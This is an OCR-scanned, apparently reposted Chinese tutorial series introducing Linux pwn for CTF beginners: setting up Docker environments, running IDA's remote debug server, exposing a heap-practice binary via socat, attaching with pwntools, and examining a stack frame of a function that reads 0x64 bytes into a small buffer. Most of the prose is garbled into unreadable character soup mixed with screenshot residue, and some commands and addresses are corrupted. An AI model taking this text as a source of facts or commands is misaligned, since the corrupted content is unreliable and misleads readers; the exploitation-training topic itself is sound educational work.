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Linux pwn AT 3XiR(0)—KiSicA

f§#: Tangerine@SAINTSEC

Y 5

Al

il

EA—NEEN—FE ZRFRIBCTFIEF, —EE=TownBmEHINITYE, NTITEMAGER. AKM_EXFpwnhl
BRMEERER, MAKLESWRHE(EL BT IER A wr i teup TR EERE, BEAEEHRBRZHIH
A, TEZIMEM, ERIMEMHIZE, GDBEHE IDAFREEZFOM. (EA—NEHAH (E), REKE

AtumlTE7E | ER _ ERIown NI TIRIEBR IR AR S, GE8 /L ERETHMN—EImEMCEEEL—HMHEDS
ILEFHETTEERILinux pwnZiE,

KREARFIEFZ(ETXTi1386/amdb64 FHIL inux pwnE EIpwnIESE, 0tk, M, BEGE, BRAUERTSR, 4=
HEHITNB. ATHENR—HFNEFNETEY, AENEERST R Edocker SEGHT, FHiZHiARXA
HEFER, kERERENETMNS A TR pythonflA ., HIENGDZIIFEME, &35 B AR E
RAEAEZL, SESFIMERIRTBEEHNERFITLIE.

0x01 docker® =2 KO Al 5 i L 1R1E

EREFEZIRNEZEEZT— P EEdocker I6AMIULinux RS, WZRAST3. 10 (AT L@ Huname —r &
&), ATUIBITESAFANKEZEUN T . X TFdockerNLES BT EEIA, EETLURIEECSH
Linux ZITHRARBITH R LR EFARNEEE, HEUbuntufiKal iFHESE:

Kali: {kali RollingZZtdocker) http://www. cnblogs. com/Roachs/p/6308896. html

Ubuntu: {Ubuntu 16.04%%EDocker) http://blog. csdn. net/qq 27818541/article/detai |s/73647797
TERRINIREE T docker HIGUFERTAME, HINTMAILUIEHECHIRASET . XBOPASHUEE M
HEIHFIZ, BESpwnBIFEIAHEX, LARBEER, AT HESLE, RIELEIFEITERTILNESIRE,
A EESARESRER.

Plubuntu. 17. 04. and64 A5, SANHI®HS N

cat ubuntu. 17. 04. amd64 | docker import — ubuntu/17.04. amd64
:~# cat ubuntu.17.04.amd64 | docker import - ubuntu/17.04.amd64

sha256:876674af8eedd40c5cef9693d7335f9b35alldae6838105aa99271429bda75b40

SNRINEER L docker imagesRERFIECEF I T —NHEEE
:~# docker images

REPOSITORY TAG IMAGE ID CREATED

ubuntu/17.04.amd64 ate 876674af8eed 16 seconds ago

&E{Tdocker run —it —p 23946:23946 ubuntu/17.04. amdé4 /bin/bash
FATALUX MRS EIE— B8R, FFR—shell, H B 1% I1DAEIRAR 525 MEITAI23946iH O %% 4 Bl A Hb Y
2394617

Biddp$docker container |Is —a 1AM ERINIRESZ T —ININIGIENEE, FEERTFT—HEHN
HZF, L EISEIE AR e Bhostalgic raman.
}f e CREATED

2 minute

1TRT LA T é5 S docker container rename nostalgic raman ubuntu. 17.04. amd64FUXPNEEEFHZN
ubuntu. 17. 04. amd645¢ & HMBIRINAEEM B F.
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container r nostalgic raman ubuntu.l7.04.amnd64
t

CREATED STATUS

4 minu 300 Up About a minute

Eﬁﬁdocker exec —it ubuntu. 17.04. amd64 /bin/bash ;Ejzﬂ]"fuﬂﬁahggém AN#ftlbash shell, X
15 ?izﬂ]?‘)zé}ﬂ'hﬂﬂﬂiﬂl«/{?:E%?%gEPFfjJIDAﬂﬂH& 253t fsocat BB Epwn B .

Ittsh, TUﬁﬁwaermmrwﬁ EwwM§$W%ﬂﬁﬁﬁI#$£ ﬁ%EﬁME,ﬂ$¥M
EMRMEEEARF[TITIHEIT, HFERBEKRIEIT ((B1Tdocker container IsKBRIINERS), HFERA®
Sdocker startBITXRERE. I, BRBFEITZNREEE, AT ERIKOMNSRE, EE‘.EJJE%EHT, EYeES
%docker run —it —p 23946:23946 ubuntu/17.04. amd64 /bin/bash FRRIEE—Nim [052394604 A H b3
=,

0x02 IDAKY & B4 A B xR iR B B

ﬂmﬁETW%HH%Zn,ﬁMET*ﬁM TN IDAFN I DARYIEFZ IR IR IE I . B 5L FA17E I DAFTERISC
HLadbgsr v L THEIEZRIAIRIRSER | inux_server (321i) F01 inux_serverx64 (644i) HEFIFkal i
i,

:) » tools » IDA6.BPlus > dbgsrv

1K

Sy

android_server 2015/4/13 18:35 i 512 KB

O

android_server_nonpie 2015/4/13 18:3¢ Wi 496 KB

armlinux_server 2015/4/13 18:35 649 KB

armuclinux_server 2015/4/13 18:35
ida_kdstub.dll 2015/4/13 18:35

linux_server 2015/4/13

i

linux_serverx64 2015/4/13 18:00 64

mac_server 2015/4/13 18:35 i 56

mac_serverx64 2015/4/13 18:35 14

¥] win32_remote.exe 201

& win64_remotex64.exe 2015/4/13 18:35

wince_remote_arm.dll 2015/4/13 18:35

wince remote_tcp_arm.exe 2015/4/13 18:3¢

SRIE{ER S docker container cp |inux_server ubuntu.17.04.i1386:/root/linux_server ¥&!|inux_
server EHIEI2U AR HI/root BRT. HEH1EREIFZTLULEE inux_server, BiTiZserver&igiR

TE7E M8 23946i% 1 .
root@0d5dc6d7clba:~#

linux_server
root@ed5dc6d7clba:~# ./linux server

IDA Linux 32-bit remote debug server(ST) v1.19. Hex-Rays (c) 2004-2015
Listening on port #23946...

BERNITA2IN ida, BAN—NMEESHTEREREINIZEFheapTest_x86, FEZMIAIFunctions
window# ElmaineR 3y, FEEH—ITRBIZF2T—ME S, AFiBidDebugger->Process options. .. 3T FFik
A Q% B2,
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M IDA - Di\ctfs\heapTest x86.idb (heapTest x86)

o

:1 main(int argc,
public main
A procnear

= dword ptr
= dword ptr
dword ptr
= dword ptr

ctures Emms % Iaports #  Expc

const char ewargv,
i it 1% 1A

const char

menup)

uch
oeh
10h
1l

push
nou
push
sub
sub
push
push
push
call
add
nou

File Edit Jump Search Yiew | Debugger Options Windows Help YMAttack DIE
» @ O Remote Linux debugger| 7 Quick debug view Ctri+2 :
DU ..o windows >

Library fu Data [ Breakpoints »

7] Functions window o Watches ¥

Function name I““i“g Ls
£l _init_proc P Start process F9
1 _read i
il printf Attach to process...

filush Process pptions...
free i |
malloc

| _puts o
7] _exit
71 __libe_start main
/] _memset
7] __isoc99_scanf -

{1 _gmon_start_

7] _start

f] __xB6_get_pc_thunk_bx
7] deregister_tm_clones
] register_tm clones & Ririto cutsor F4
f| _do_global dtors_aux
7] frame_dummy
7] mallocChunk )

7] freaChunk <f Use source-level debugging
7 editChunk 34
7] showChunk '+ -

Debugger options... N

h:l‘hfo -
[ Su_init

Switch debugger

Fowk s BRALAOET

T?@Hjﬂ’hil ~|§1D i fig EHostname Jgkal i BYi pﬂtiﬂ:

1tainer cp linu

ver ubuntu.17.
r ubuntu.17

sub
push

~all

dword ptr
whp

ebp, esp
e

esp, 14h
esp, &4
azon in
OFFFFFFFFR H
oFfset record i
menset

esp, 100
[ebp+uar_C], @

[ecx-N]
{0k e — 7 {6
.||1||||[?||rL g

: CODE XREF: main:loc_804BANEL]
esp, BCh
offset al_MallecAChunk ; “1. | 1 L )

Portﬁ&?%gﬂ%ﬁﬁllkal i FEYIR .

untalnar cp Linux

EQRTS NAMES
23946/ tcp ubuntuy

ubuntu

W Debug application setup: linux

NOTE: all paths must be

Applica

Input fil

Directory

Save netvo

valid

on the remote co

ettings as default

HiFfE
1T,

I DAS KR IR B ST S 2 AR 55

23947

Port

Cancel Help

BRAAEERT,

BERETH. HIDMETX—ELRTE B HWarningE O

SRR O S EE, SHERE

BSE o).

23946/tcp

BiEOK, IRIRIERFICITIZEF . HERIEE R/ RInput file is missing:xxxxx, —EFKROKHL

RECHRRBEMETOERSERXEEHFAEON

hIES

e E IDAFREN 2R Skal i 2B ktpingl®, A58



DRI 4 f

IR EIZER IR RN AT LAE A & MiiEsEx BisfgF#TiRR, ERMNRIERSE TH=/BUEE = F2
) L1T7T£r_F9 BLE RS, BESHNEEF7, SITEIEPMNEFFE. AR TEEFERIINE
OBC4wED IDA View-EIP, ZH7F85%E HGeneral registers, #%& [Stack view, KTFHE OHex View, %
%Eu [Output window3E,

T -

= Hex Viev-1 o& x Debug View [ ] ) Structures E Emas

[FF77CCIC 80 00 @8 00 DC 93 £0 F7 &0 CC 7F FF 00 08 00 00 ... -~ T I0a Viewl 0 & x| B Cener Intes OB x

FF7rceze 76 B2 03 F7 00 99 ED F7 00 00 @0 00 v Ll LA

rovoeat e uz 93 7 DA CC 7F FF BC CC 7F FF v ° S - £ox eonanese o o
" Prip i _ LLexE:OROARYEY and esp. OFFFFFFFAN ERX 50006888 &,

""“5: BE FB FT 00 88 00 08 01 0 -text :U8OSB9RC push dword ptr [ecx-u] ECKFEADOSES

-text D 0808R9EF push by
s u :: D F7 £z '.: 54 64 D3 © : sEAkE: N AVIIRE: it m:. o AT ERATH o
Er 7 2 SLextIORONBICE push  ecx ESI ponOIORY .
Fr CO B4 04 08 0O 00 @8 00 . -tewt:I80AEOCI sub esp, 15h EDTF7EDSOOR w 1
F EY B% 8% 05 BS B9 0% 88 01 88 00 99 D% CC 7F FF . -text:IBOABOCE sub esp. & EBPFFIFCCZE w |
e S0 8A 8 08 BE BA Ok 88 30 89 EF F7 CC OO IF FF B LLextIRBOARICH push 1200 in e e o

18 D9 FO F7 01 @0 00 00 B8 09 7F FF 00 00 80 00 ~text 0 OARICE push WFFFFFFFFR e

EIF BEDNBOFT w ma

i 95 D9 7F FF 51 OF 7F FF &7 OF 7F FF 71 OF 7F FF . -Lext:OBOARSDD push  oFfset record ik

FF 7 7C DF 7F FF 87 DF 7F FF BF DF 7F FF D1 DF 7F FF DRt MRMNRORE call _mamgek R

EF 7 LRt BOREIDA add esp, 100

F F -text: 0804000 mou [ebpruar C), @

e F _text :DSOREVEN

i text:OSOME9EN loc_8ONSOEN: ; CODE XREF: ¢
.CeXIOROAB9EN SUb  esp, OGN

text:OBOMBYE? push  ofFset a1_MallocAChunk
CtextiUBOMR9EE coll  _puts
TR | eext:ososaori add  esp, 18h

i text:0ROAROFN mou eax, ds:stdeut@ECLIBC_2_0
- -text JOSORE9FY sub esp, OCh
i Jtent :OBOMBOFE push  eax : stream
Fr 2 Jtext:OBO0MROFD call  _FFlush
Fr 7h 65 EF 5 STEREOROARADZ a0d esp, 1o
i o0 8 Lot DS OABADS sub P,
o 8 Lent:OROABADE Lea eax, [ebpeuar €]
o0 8 text:OROARADE push  eax
o0 @ textIOROARADE push  oFfset ab
o0 8 Jtext:080MBA1Y call  _ isoct9_scanf
: : 00000571 080485F1: main+3C (Synchronized with EIF) w
ot ¢ > |le >
: o & Stack view o0& x
1
AL OB OREOES . radata: s Hal LocAchunig -
FEIFCCOs  FFFFFFFF
" Jsiavish
o 8 of  ea0NEAPE  _ 1ibc_csu_imitens
1 soboaBEY
o @
» 8 & FFTFCCDA stack) :FFIFCCD
o0 @ & FFTFCCOC stack] :FF7FCCDL
o0 0 L sooooeRn
o0 8 20 FTEDVADC 1ibc 7.70.s0:_ctype_bes
o o % FFTFCCAB  [stack]:FF7FCCAD
e ¥ BI000R0D
s © F7038276 1ibc_?.7% so:_libe_start_maineFé
20 DooooeRt
:: 15 FTEDYORD 1ibc 2.2W.50:F TEDYBO0
o punnoeRn
e ¢ F703B276 1ibc_7.7%.s0:_libc_start_maineFé
" e
e FFFECDN  [5tack] :FF7FCEDA
0 o sk FFTFCCDC  [stack]:FF7FCCOC
sunooeen
o @
e [y
o o sponoeen
o0 8 FTEDPORD 1D 2.2 .50:F 7E09BO0
" F7E0CRY x
o o UNENOWN FFTFCCO0: [stack] :FFTFCCO0 (Synchronized with ESP) v
oo =
Tt Output window oe& x
o " BONRORD: process /roat/heapTest_wié has started (pld-2n) ~
L FTO23000: loaded /1ib/i%86-1inux-gnuslibe-2. 2% 50 v
mrmveans wwTEenin o | Pvrhan

tJJIElileall, KNS EBEEEREFIET, BITHARERSRENshe  HFOSEREFHAR
[2] Accepting connection from 192.168.39.1...
. Malloc a chunk.
Free a chunk.
Edit a chunk.

Show chunks
exit

4 IDATHIREF AT 5ECal | is0c99_scanfZ & XM FHMANIESHERPANBERT, F4, F7, F8
, FOFFMBITHRXRERANE . ERATAT LU Eshe | | FMARR, IDARMIEFEIAIRERIT

0x03 fEHpwntoolsilIDAiRNEFF

T E—ThRMNER TERIDAE B ZIZER, EEEEKPRITieSE —L4FHRNENR, thkinamts
B H EIEFEE— LGS WEFHHIE, 21\x50\x83\x04\x08 (0x08048350) » X PMEHEFHA]
le-. S E{E AR TEA L RME. FANEARI2E B MpythonFEpwntools. pwntoolsEER] LAE MpipifiTR
% HEACRMIE Ahttp://docs. pwntools. com/en/stable/ . TEARTIFFEA19%1E Bpwntoo | sFAIDAEL &
IR IER.

B Ekal i AR Kpwntools, RERFTEMEMMApython#E NpythonIE, R from pwn import * A
pwntoo | s,
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# python

Python 2.7.14 (default,
[GCC 7.2.0]

on linux2
Type "help",
>>> from pwn import *

ﬁﬁﬁdocker execfE2 IR BT P FTFF—“ bash shell,

bk,

Sep 17 2017, 18

"copyright",

:50:44)

"credits" or "license" for more information.

B4EFheapTest_x86FTEE R /root, EERRIAIIP

RIEHITE S socat tep—Ilisten:10001, reuseaddr, fork EXEC:. /heapTest_x86, pty, raw, echo=04%
heapTest_ x86H410%% % 10001:% 1 L o

rOUUWUU Z4LaTeadLL: ~ WV 9 u

File Edit View Search Terminal Help

:~# socat tcp-listen:10001,r

ty, raw,echo=0

seaddr, fork EXEC:./heapTest x86,p|

HATTIABEIHNE S
T HF SheapTest_x86HYZERE.

>>> 10 = remote("172.17.0.3", 10001)
[x] Opening connection to 172.

gy IPHEIEE172.17.0. 2,

[ Zpython®r, {FHio = remote ("172.17.0.2", 10001)

17.0.3 on port leeel
] Opening connection to 172.17.0.3 on port 10001:

Trying 172.17.0.3

[+] Opening connection to 172.

HEZiThy#ERR £, RS

DRebugger windows

17.6.3 on port 10001:
XABHEFRANREE] I DAF R ERT S . FETEMNR IR heapTest_x86EZFIRIET,
SRR g B fEcal |
BT BB TIERE, ‘?‘!zﬂ]E’JLﬁ,mHAIﬁEQZE*T#E
i : 3 : . s

Done

AT B IR 2 E
___isoc99_scanfHFFRMANIBLBITINFZ /G,

BAMITIRMAR, ER EIJLETEEE’M%

v
| B Breakpoints » tn [ External symbol
a Watches r Structures 4} Erums .7 Inports ¥  Exports
Tracing v [ and esp, OFFFFFFFOh
push  dword ptr [eex-u]
P Start process F9 posh "y
nou ebp, esp
Attach to process... push  ecx
Process 9ptior Atrach the debugger to a “_h . ":;' :‘M.
i1 ] | push azon i n
(= | push WFFFFFFFR N ]
push offset record i s
call nemset
E ada esp, 100
now [ebpevar_C], @
el
B ; CODE KREF: main:loc_S0ABANEL]
sub esp, 0Ch
push  offset ai_WallocAChunk ; "1. Malloc a chunk.\n2. Free a chunk
call puts
2 add esp, 1h
’ nov eax, ds:istdout@RCLIBC_2_0
O Run to gursor F4 sub esp, OCh
push eax ; stream
i call  _FFlush
add esp, 10n
F Use source-jevel debugging sub esp, 8
2 lea eax, [ebpsvar_C]
rce file push  eax
X push  offset ab
Debugger options... call ___isoc99_scanf
Switch debugger... | -
e a———— nou ®ax, [ebp+uar_C]
text :BROLEATLE cnn eax. § : switch & cases
sH-I0
1%3$%¥Debugger—>Attach to process..., FMifNZE]. /heapTest x86RUIHFE L.
M Choose process to attach to O X
D Name
1 [32) /bin/bash
11 [32) /bin/bash
49 [32) /bin/bash
61 [32] socat tcp-listen:10001, fork EXEC:./heapTest x86
62 [32] socat tcp-listen:10001,fork EXEC:./heapTest x86
Cancel Search Help

line b nf R

ItLBSE I P45 35 E)vdso fipop ebpiE4
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{8 IDA View-EIP =
[vdso]:F7FACDC6 db  34h
[vdso]:F7F4CDCT db BCDA
[vdso]:F7FLCDCE db 8BOh ; N
[vdso] :F7FACOCY ;

H0 [udso]:F7FUCOEY pop ebp
[vdso]:F7FNCDCA pop eds
[vdso]:F7F4CDCB pop ecx
[vdso]:F7F4CDCC retn
[vdso] :F7FACOCE ;
[vdso]:F7FMCDCD db  90h

HE: 98n

[vdso]:zF7F4CDCE 90h ;
[vdsa] FTF4CODO db 90N ;
g F7F4CDD1 db BEBh ;
:F7FMCDD2 db  @Dh
F7FNCOD3 db 98N
F7FNCDDAY db 900 ;
F7F&CDDS o8n
o8h ;
98h ;
7 ) 98n
4CDDY db 98N
LCODA db  90h ;
7F4CODE db  90h ;
:F7FuCODC db  90h
7FNCDDD db  98h
TFLCDDE db  90h
LCDDF db  98h
:F7F&CDED db 58h ; X
:F7FLCDE1 db BBSH

XJLITIES EPR ERMITEsys_readGRIIES, WATRNATEXLE, EHIFRF?, EPHRESHEL.
El&|python& O, FHAEMpwntoolsHirecv/sendfE &R SIEITHHIheapTest_x86H1TRZH. BTN
io.recv (), H1EMES S TEshel | E O HIHIEEHIEEFpythonEOE T,

>>> jo.recv()

'l. Malloc a chunk.\n2. Free a chunk.\n3. Edit a chunk.\n4. Show chunks\n5. exit
\n>>>\n'
EHER, FEATBTio. send ) W A] ABIX MEAFEE BN . FANIEM io. send (1) HFIFRXMHAFERATEIZIEF
%Iﬁh XANEHEFATIHRE IDAB O, &I IDALZEAFIERIRES, XEAFAR?
EE—TH(NEIshe | | SXNMHERZEARE, MNTESTEREEEL “SIF XNMHERNO@A
BERT . BLAERXBRNEHZFEFTLE—EZE, FFAFEERITio. send("\n"), Jﬁ)]?ﬁ%@JlDAIEDEJEz
KRIEIPEE TRERNIEFEME . XFMER(1EEH IDARYRIEE AT LU TR, MOFat MR HIZH R
7, &, EESEORET. SR, BRIMEAUIEZEFERio sendline (), FLATLIEZEERANSEE BN

E\n" T

(=) DA View-EIF 0 & x
.text:08048A08 lea eax, [ebp+var C] IS
.text:08048ABB push eax
-text:B88048ABC push offset abD s "%d”
-text:086048011 call ___isoc99_scanf

EL . text:08048a16 add esp, 10h
-text:086048A19 mov eax, [ebp+var_C]
.text:08048A1C cmp eax, 5 ; switch 6 cases
.text:08048A1F ja short loc_8048A4D ; jumptable 08048Aa28 default ca
-text:08048A21 mov eax, ds:hFF_SBHBBHB[Bax*h]
.text:08048A28 jmp eax ; switch jump
.text:08048A2A
.text:08048A2A
.text:08048A2A loc_8048A2A: : CODE XREF: main+7371j
-text:08048A2A ; DATA XREF: .rodata:off 804BCH
.text:08648A20 call mallocChunk ; jumptable 08648A28 case 1
.text:08048A2F jmp short loc_S8SO4BALE
-text:08048A31
.text:08048A31
-Cext:08048A31 loc_8O048A31: ; CODE XREF: nain+?3fj
.text:08048A31 ; DATA XREF: .rodata:off_8648CH
.text:08048A31 call freeChunk ; jumptable 08048n28 case 2
.text:08048A36 jmp short loc 8O4BALE
~EBXECBBEBUBAZE | - e e e e e e e e e e e e e e e e e e e e e e e e
-text:08048A38
00000A21 08048A21: main+6C (Synchronized with EIP) v




QEM|E i BTARTIETER

£ EERVRTSS, A 1Epythonh ERMINio. recv 0, KIMFRBIEIMBNML, H HpythondtFHEZEIR
. XEREAEFIREERE IR, FHI17EIDAFIEF8ZE cal | mallocChunk—1T, LERTIRF7HNEH,
HEERHPIEITEcal | _fflushii T—1T, B & HpythonBIFAERESHRIRT

LURMNBBLERFIAE, RiZFEAio. close ) XFAEX N io. BUT—RiXEattachBISLZIAFRES. /
heapTest x86i#F2. 7EIDATIRCtr [+F2EI AR EIRER .

| REXRFSE SN HIR TR



https://bbs.ichunqiu.com/thread-42239-1-1.html

OB

Linux pwnA [ 1301 —likiim 3Ll

f§£#: Tangerine@SAINTSEC

| 0x00 EEMEASED

ZREEEL, AL EREIREE EMRBIHANSIRE. EERNA—EEHITRE SR
FEFrhel loFFis. FIDAMNERhel lo, EfIZImainRBEHNEZMXMEFRNEE+2EE, B EHNel 1o
REURMAN, REME “hello,” MEMANBZFRERLH. EAFERILCHBMNCRIBAILIFEESENEIES
15,
Tint hello()

'

Il int buf; S/ [sp+*6h] [bp-12h]E1

i int v2; /f [sp*Ah] [bp-Eh]@1
__int16 v3; // [-'.pl*lh] [bp-Ah]E1

buf = B;
[ vz = B3
! vd = B;
I read(®, &huf, Bx6%u):
return printf("Hello, Ts\n", &buf);
i

HAVEF IDA-ViewH OHE X TabBEYIEZLHRE O, fEmainE#cal | hel lo—{TTHim, FFE320H)
dockerfTiﬂ, F‘Eﬂﬂﬂﬂﬁ%%ﬁ)‘ﬁ%&ﬁ?:& TR

104 View-EIP Peeudocaode—4 =] i Ceneral registers os x
© text:eRAgADZ push  ebp | |[EBX FTEEGDBE & debugdii:_enviren 0F B
© Ctext:eEBMSADD mou  wbp, esp lenz sousnsns w oF 0
© . text:BRBABADS push  ecx T 1
Aot e ECX FFABAZED & [stack]:FFADAZER 3
17} EDX FFABAZAN & [stack]:FFASAZAN 1
o text:BEBREADE mov ESI 000000 28
* |text: unma add EDI FTEESOBB & 1ibc_2.24_so:F7EESARR AF B
hy [stack]:FFABAZEE PF1
e Latach) FFABAZED i
% T2 |EFL nomeazee
- u].'l L ik m &ﬁﬁm .ﬁ%‘gmﬁﬁﬂ!ﬂ AR ESEORE
i == T,
. BEEARR Al FrAcazes
i BRONSAFE ; weld _1ibec_csu_init{vold)
~text:@BBMEAFO public _ Libc_csu_imit
STeXUINEBNEAFD _ 1ibe_csu_init proc mear : DATA XREF: _start+10fo
-text: 08 BUBAF A
text:BONSAFE arg D= dword ptr &
+ main+ll ized with EIF) |
3] Hex Viev-1 o & x| & stack viev & -]
EBAIRSE B3 EC 0N GA 64 WD AC EE 50 &A 00 E9 72 FE FF FF .. A ~
IBDWEAAE B3 Ch 10 B3 EC 08 0 45 £E 50 68 79 85 Oh 89 EB .. FrADAZGh FFABAZEN [sEack]:FFABNZED
IOAEYEE  0F FE FF FF 83 Ch 10 90 CP C©3 B0 AC 24 0% B3 EX FFADAZGR  ODORRRRR
IBOAENCE  FB FF 71 FC 55 B9 ES 51 #3 EC UM E8 A8 FF FF FF .. FEADAZGC  FTONT2TE  1ibc 2.7h.s0:_ LibC_start_main+Fa
woanaoe  [TICTNTCTIT &2 Ch 04 59 SO 8D 61 FC €3 66 90 .. FEABAZTE  ODDORRET
IBBABMEE 66 90 55 57 54 53 E8 @7 FE FF FF 81 €3 07 10 08 F. Franaz7h  FTEESBOD 1ibc_2.2h.50:F7EESORR
IBOVEAFE B9 83 EC OC 8B 4C 24 20 #D B3 OC FF FF FF E8 DB FFABSZIE  D00ROROD
IBONES0E  FD FF FF 80 83 08 FF FF FF 29 C6 C1 FE 02 @5 F6 .. FEADAZIC FFONT2TE 1ibc 2.78.50:_1ibc_start_maineFs
EOABS1E  7h 25 31 FF 8D B6 00 00 00 00 B3 EC 0% FF 7a 2a FrADNZED  0DODDOREY
BOAAS2E  2C FF 7N 20 2C 55 FF 94 0B 08 FF FF FF R CT 01, #50 FFAGAZEN  FFABAIIA  [stack]:FFABKITN
BOAHSIE B3 Ch 10 39 FE 75 €3 83 Ch 0C 5B SE 5F 5D C3 8D .. FEADNZER  FFABAIIC [stack]:FFABNIIC
IEBABSAE 74 BO F3 C3 O 08 53 83 EC 08 ER &3 FE FF FF 89 FEABNZEC  B0000BOD
BEAESSE  £3 A3 1A 89 0O B3 Ch 08 SE C3 63 80 00 00 B 00 Franszon e
BOMGSEE 2 BB 2F 62 69 OE 2F 73 68 OB WE 65 6C 60 6F ZC FFADNZON  D0O0ORBD
IBOABSTE 29 25 73 94 00 88 §1 1B 63 38 A0 09 00 00 @7 00 FrAONZ98  FTEESO8 1ibc_2.2%.50:FFEES000
BOAHSEE B0 B0 BC FO FF FF SC 00 80 00 DC FD FF FF 80 00 Fraoazoc 14 2.24.50:_r_debug+300
IBOAHS9E OB B0 EF FE FF FF 9% 00 88 00 08 FF FF FF B4 00 Franszan 0 10_2.74.s0:F7F 19000
IEEVACAE BB B AN FF FF FF Dh 00 88 0B &C FF FF FF B0 i FraBszan
1EOVHSEE OB B EC FF FF FF AC 01 00 00 1h 00 00 00 00 00 Framszag
IEOYHSCE W B 01 7A 52 00 01 7C 08 @1 16 OC 04 0% 88 0 FrAmazAc 1ibc_2,2%.50 :FFEES 000
EBAESDE - G B0 20 B0 00 00 1C 00 BB 00 7B FD FF FF S0 00 FEADSZER  00DOORND
IEOSHSEE O B0 00 OF 08 6 OF OC kA OF OB 7 04 78 80 3F FrAS2EL  AGRIBTTD
BOLASEE 1A 3B 24 32 2k 22 18 00 @@ 0B A0 B8 00 08 Si FD e Franuzng  AEERERGD
IEOVEA0E FF FF 08 @0 DO 00 00 00 09 00 1C 90 00 00 Sk 00 S ECANLTOC  BUO0BND
100004DE 0B04E4DE: main+lé v |[UNENCWN FFAD4260: [stack]:FFAl (Synchronized with ESiv

QE XA DANFRHE. EXKEFRNEEZEESTIEEINEREGKREO, EW%@¥=Hw§ﬁ¥ﬂBP
F83.

BHERBRNAUBREIPEESRBAIERA T —&BENITHIES, mﬁt%mu%ﬁﬁﬂuﬁa;%ﬁrlﬁﬁ‘tﬂ“aﬁIP
HHERNE, RNAALUTHIENREFHORIT, AT pwn” BE2F (ERIEX—&, FITEEIPEERN
WF S HEEIEEModify value. .. .. .. mﬁﬁ&mmmumﬁﬁmﬁﬁmh,Mﬁm Fcall hello—fT)

%‘JTE‘J?EE%B%M&’FE?& BB, HRB—IBBEEOPHIKRED, SEANEHAORAN. X MEEIH )




QEME
BT TR

LLext:0B0NBARY public hells
~text :08048484 hello proc near
Stext :0B0RBNEY

~text JOBOABAEN buf= dword

ptr 120
-text :BEOABABN var_F= dword ptr -BEh
Ltext IBRONBNEN var A= word ptr - BAh
Ltext :ORIABARY

Ltext :0ROABARE sub
Ltext :080NBAAT push
.EeXEDBORENAS lea wax, [ebpenuf]
Stext (BRONENAS push ax

Ltext :BROSBNAT push L]

Ltext IOROAENAT call _read
LEXTIDBDNBNRE add esp, 1m
.text :BEONEAET sub esp.

.text :OBOABNBY lea n: [ebpenuf]
~text :080584B7 push

-text (BBONBAER push aFFslt Format

: hallo

R BRI R SR A AN B BT 7R :

| EFRATHIEETEH

: CODE XREF: main+1igp

i mbytes

i buf
: Fd

i "Hello, Is\n"

zed with EIP)

ax View-1

JYE B3 EC 0N 6A 64 8D N5 EE
WAE 83 Ch 10 83 EC B8 8D AS
ISBE  &E FE FF FF 83 Ch 10 90
BCE  F@ FF 71 FC 55 89 ES 51
1SDE B3 Ch 0N
MEE 66 90 55 57 56 53 €8 A7
80 B3 EC OC 88 6C 2% 20
FD FF FF 8D 83 @8 FF FF
7h 25 31 FF 80 B6 00 00

50 oA 00

FE FF FF
JAFE 8D B3 oC
(31 3
IS1E
152E BE B8 FF
153E
ISAE
IS5E
156E
I57E
IS8E
159€
¥SAE

2C FF Th 24 2C S5 FF 94
B3 Ch 10 39 FE 75 E3 83
76 00 F3 C3 00 00 53 B3
C3 A3 1A 0D 0B 83 Ch 08
B2 88 ZF 62 69 GE 2F 73
20 25 71 0A 0B 68 ©1 18
@@ @0 BC FD FF FF SC 00
@8 @@ E7 FE FF FF 94 00
90 00 &4 FF FF FF D8 00

iSHE @@ 00 CC FF FF FF &C @1 0D 00 18
JSCE 0O 90 M TASZ 00 W 7C 88 M 18
JSDE DO 00 20 00 00 00 1C 00 00 00 28
PSEE @O 00 00 DE B8 &6 OF OC 4R OF 0B

(1]

EE S0 68 78 BS B4 08 E8 ..
€9 C3 BD AC 24 B 83 Eb n.
83 EC OA ES A& FF FF FF ..
59 5D BD 61 FC E3 66 90

B
FF

FF

=382

72 FE FF FF .. J0.E.P]..r...
SEPhR. ...

€3 07 10 00
FF FF EB DB

FF 29 C6 C1 FE &2 85 Fé6 ..
00 00 83 EC 08 FF 7h 24

FF 83 C7 01 .

Ch BC 58 SE 5F 5D C3 60 __.9
EC B8 EB &3 FE FF FF 81
5B C3 03 00 00 00 01 00 ..
&8 B8 BB 65 6C 6C 6F 20 ..
B3 30 kO 00 00 0B B7 @0
B0 @0 DC FO FF FF 80 @0 ..
00 0B 00 FF FF FF Bs 08 ..
@8 B0 6C FF FF FF 08 01

o0 oo 0@ o0
Oy B4 B8 M1
FF FF 50 00
CRLNTES

push o

eall hellofIT—iTE5 Huht ; FRDSZEY
OB0484TE

Elrmgmhuo&&imwﬁﬁ

FEiEE 10

—

et

et

FEREE me

FEfEE ne

EBP+

EIP-

SH1-

e®

S ne

| |[EAXFTEESDBE w debugBii :_enwiron
EB anannonn .

ECK FFADMZEO & [stack|:FFABAZED

EDX FFADMZAN & [stack |:FFADAZAN

ES] 0000000

EDI FTEESO00 s libc 2.24.50:F FEESODR
EBP FFADAZEE  [stack | :FFABSZAR
[Stack | :FFABNZSE
hells

ArmmmamE S

Bliaoiond il

FABAZAD
FhRoa2éh
FROaz68

Lsni_etype_beg
[stack] :FFAONTER

libe_2.28.50:__libc_start_mainsFé
libe_2.24.50:FTEES00Q

libe 2.2h.50:_1ibe_start_nainsFé

[LTEETT]
FFABRI N
FFABRIAL

FERnuzED
[stack]:FFAOA31L
FROuZEE [stack] :FFABIIC
[FFADAZEC
Framzen
FraBazon
FADuz98  FTEESRO0
FAOAZ9C  FIF19C04
t FROAZAD  F7)
[FrADAzAL 0O
[FFAD4ZAS 00
FAONZAC  F7)
FROAZED 0@

1ibe_2.2h8.50:FTEESDOR
10_2-24.50:_r_debug+308
10_ 2.2 50 T 7T 19000

1ibe_2.2h8.50:FTEES OB

HREKAGRAZERBIE R, WHRRHXKERS M IDAFKE QNS RE—HE, WE EhiEY

N,

AR, AR IDARYE O P IRV “E” £ T E. ESPMEBPRNFERATITES

BIARIAEE . B AREaER45 BN J9SEfR LESPHIERPH BB AX IS, (T H{EiHR, FHATBEIPFIS T

FUN— IR B Y BB AT
BREDO. RBIERF E’Jl?;iﬁ, ETREZEMTcal | hel 10iX1TIESHAhe ! 0 X 4K %,

| T—1THImov eax,

BN, &amNERl

EH R EHRTEMSHRTIEMR, {BEBPAMEIPX 2tAERR? ?*zﬂ]lEIEIJIDA

REHITEE

0, Hibik}080484DE. SRAEFH{1HITY ﬁuESP%uEBPE’ﬂEmET;E(ﬁimﬂtilﬂ[!ﬁfchASLR
E{TE AL HYESPFIEBPE A~ — EHERE]) ,

